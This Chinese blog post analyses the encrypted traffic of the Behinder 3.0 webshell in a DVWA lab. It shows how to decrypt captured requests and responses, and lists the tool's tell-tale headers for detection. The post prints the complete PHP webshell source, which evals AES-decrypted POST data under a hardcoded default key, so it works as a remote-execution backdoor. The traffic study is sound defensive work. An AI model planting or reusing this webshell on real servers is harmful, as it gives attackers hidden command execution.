近期稍微对冰蝎的流量进行了一些分析,因此来记录一下
首先用的工具是冰蝎 3.0 版本的,它相对于 2.0 来说,做出了一些改动,个人认为比较大的一个特点就是取消了动态密钥的获取,也就是说如果只是在一个加密的命令执行的追踪流下,是无法获取到加密后的密钥的,这里在 NSSCTF 开了一个 DVWA 的环境来进行一个上传的 getshell 演示
首先直接在上传口上传蚁剑 v3.0 的 shell.php,这里就用 php 来进行演示
可以看到的是上传成功和路径,接下来进行冰蝎的连接
首先点击新增
在弹出来的页面编辑好 url 和密码
这里先来看一下 shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
|
能看到的是 e45e329feb5d925b 这一串 md5 的前 16 位,后面有注释显示的是密钥就是该 md5 为 rebeyond,那么就以这个作为连接密码进行冰蝎连接
保存之后双击添加的数据
成功连接
接下来使用 wireshark 进行抓包分析
同样在捕获 -> 选项设置好 WLAN 进行抓包
接着在命令执行框中输入以下三条命令:
ls /
ls /tmp
ls /usr
接着停止抓取流量进行分析
首先先看到了 tcp 追踪流 23
很明显的一个冰蝎流量加密,冰蝎的流量加密的最大一个特点就是先进行一次 base64 加密,再进行一次 AES 加密,至于冰蝎流量的特点:
- User-Agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/144 255 173)">11.50 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/144 255 173)">13.0.782.41 Safari/535.1 QQBrowser/6.9.144 255 173)">11079.201 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.144 255 173)">11079.201 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
|
- 长连接
冰蝎默认使用的是长连接,因此能看到
Connection 为 keep-alive
- Accept
冰蝎的 Accept 字段很特殊,如图所示的请求体 Accept 字段
可以在这里调整是查看请求包还是回应包
接下来先将请求的加密字段拿去解密
这里附上我使用的 aes 解密和 base64 解密网址:
https://the-x.cn/cryptography/Aes.aspx
https://ctf.mzy0.com/CyberChef3/
这里说明一下,在解密时需要将 aes 的加密模式调整为 CBC
key 为上传的 shell.php 中的 16 位加密的密钥即 e45e329feb5d925b
而偏移量默认为 0123456789abcdef
可以看到的是有一个 decode 标识着括号里的 base64 码
将 base64 复制下来放入网站中成功解密,而输出的这段代码便是冰蝎对我们命令执行时的加密代码,也同时可以在底部查看到我们输入的命令
追踪流 23:
继续这样去找,能够找到我们之前输入的三个命令
追踪流 29:
追踪流 34:
接下来切换一下左下角的选项,查看回应包
追踪流 23:
一样进行 AES 解密 ->base64 解密
将后面这段复制出来进行 base64 解密
能发现成功和我们之前执行命令时的回显对上了
接下来的两个也都是一样
追踪流 29:
由于流 29 执行的命令是 ls
/tmp,而 tmp 目录下没有东西,回显也能看到,因此解密出来为空
追踪流 34:
也是成功和回显对上了
回到开头所讲述的冰蝎 3.0 版本没有了动态密钥的获取,因此只有攻击者能够知道密钥是什么,而 2.0 的密钥是能够通过流量进行抓取的(抓取的是加密之后的密钥),相当于是密钥随身跟随,另外冰蝎还有许多的功能之后再慢慢研究
本片文章是个人的一些看法,还望师傅们多多提建议
PS:最近开放了,还望师傅们多注意身体,别像我一样🐏了个🐏